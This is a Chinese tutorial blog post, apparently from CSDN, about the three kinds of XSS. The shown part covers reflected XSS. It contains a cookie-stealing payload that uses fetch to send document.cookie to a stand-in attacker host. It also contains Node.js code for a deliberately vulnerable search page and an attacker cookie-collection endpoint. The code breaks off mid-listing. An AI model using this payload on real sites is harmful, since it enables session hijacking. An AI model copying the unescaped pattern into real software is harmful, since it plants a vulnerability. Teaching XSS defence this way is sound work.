XSS攻防实战

本文详细介绍了XSS(跨站脚本攻击)的三种类型:反射型、存储型和DOM型,通过实例展示了攻击过程,并提供了相应的防御措施,包括输入过滤、设置Cookie属性、使用DOMPurify库等。
摘要由CSDN通过智能技术生成

XSS 的全称叫跨站脚本攻击(Cross Site Scripting),攻击出现的原因一般是因为 Web 程序对用户的输入过滤不足导致的一种漏洞,攻击者可以把恶意的脚本代码注入到网页之中,当其他用户浏览时就会执行其中的恶意代码,对受害者产生各种攻击。XSS 一般分为三种类型:

  • 反射型
  • 存储型
  • DOM型

反射型 XSS 攻防实战

反射型 XSS 攻击的恶意脚本并没有被存储到后端数据库中,而是诱导用户点击某个精心拼接的恶意链接,从而达到攻击的目的。

攻击案例

一个常见的场景是用户在某电影网站搜索,假如请求地址是:

https://xxx.com/movies?q=功夫熊猫

在后台返回的结果页中,会显示用户搜索的电影名:

「功夫熊猫」的搜索结果为:
xxxxxxxxxxxxxxxxxxxxxxx

攻击者拼接了一个极度恶意的链接:

https://xxx.com/movies?q=功夫熊猫<script>fetch(`https://attack.com?cookie=${document.cookie}`)</script>

如果用户点击了这个恶意链接,cookie 立马被盗。下面给出 Node.js 后端服务完整源码:

const http = require('http')
const URL = require('url')

// HTML 模板
function renderHTML(tpl) {
   
  return `<!DOCTYPE html><html><head><meta charset="UTF-8"/></head><body>${
     tpl}</body></html>`
}

// 路由分发器
const routes = {
   
  'GET /movies': (req, res) => {
    // 被攻击网站的电影搜索接口
    const tpl = req.query.q
      ? `<h3>「${
     req.query.q}」的搜索结果为:</h3>${
     Array(30).fill('x')}`
      : `请输入搜索的电影`
    res.setHeader('Set-Cookie', ['name=keliq', 'age=10'])
    res.end(renderHTML(tpl))
  },
  'GET /cookies': (req, res) => {
    // 攻击者后台收集cookie的接口
    console.log(req.query)
    res.end()
  },
}

function onRequest(req, res) {
   
  const {
    url, method } = req
  const {
    query, pathname } = URL.parse(url, true) // 解析 url
  Object.assign
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值